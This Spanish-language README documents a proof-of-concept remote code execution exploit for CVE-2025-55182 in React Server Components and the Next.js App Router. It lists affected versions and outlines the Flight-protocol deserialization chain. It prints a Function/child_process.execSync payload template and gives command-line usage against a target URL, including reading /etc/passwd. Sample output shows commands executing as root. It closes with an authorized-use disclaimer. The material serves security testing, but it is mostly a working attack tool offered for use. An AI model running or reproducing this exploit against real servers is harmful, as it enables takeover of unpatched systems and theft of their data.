
Prueba de concepto de RCE para CVE‑2025‑55182 que explota el protocolo React Flight en Next.js App Router.
Autor: rl0x01
CVE-2025-55182 es una vulnerabilidad crítica (CVSS 10.0) de Ejecución Remota de Código (RCE) que afecta a los Componentes del Servidor de React a través del protocolo Flight.
| Next.js | React |
|---|---|
| 14.3.0-canary.77 to 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 to 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 to 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 to 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 to 15.4.7 | |
| 15.5.1-canary.0 to 15.5.6 | |
| 16.0.0-canary.0 to 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@ para obtener una referencia cruda de Chunk.then con Chunk.prototype.then mediante $1:__proto__:thenstatus en resolved_model para desencadenar initializeModelChunk$B1337 para desencadenar la deserialización de Blob_formData.get al constructor Function_prefix contiene el código JS a ejecutarEl código se evalúa mediante:
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Comando por defecto (id)
python cve_2025_55182_poc.py https://target.com
# Comando personalizado
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
| Opción | Descripción |
|---|---|
url | URL del objetivo (requerido) |
-c, --command | Comando a ejecutar (por defecto: id) |
--check-only | Solo verificar vulnerabilidad |
-t, --timeout | Tiempo de espera en segundos (por defecto: 15) |
-v, --verbose | Salida detallada |
--raw | Mostrar respuesta cruda |
cd vulnerable-app
npm install
npm run dev
# Servidor en http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| React Flight Protocol Deserialization Vulnerability |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received
[2/2] Executing command: whoami
[+] Payload sent!
============================================================
RESULT: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Script de explotación principal
├── requirements.txt # Dependencias de Python
├── README.md # Documentación
└── vulnerable-app/ # App Next.js vulnerable para pruebas
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El uso no autorizado de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito para probar es ilegal.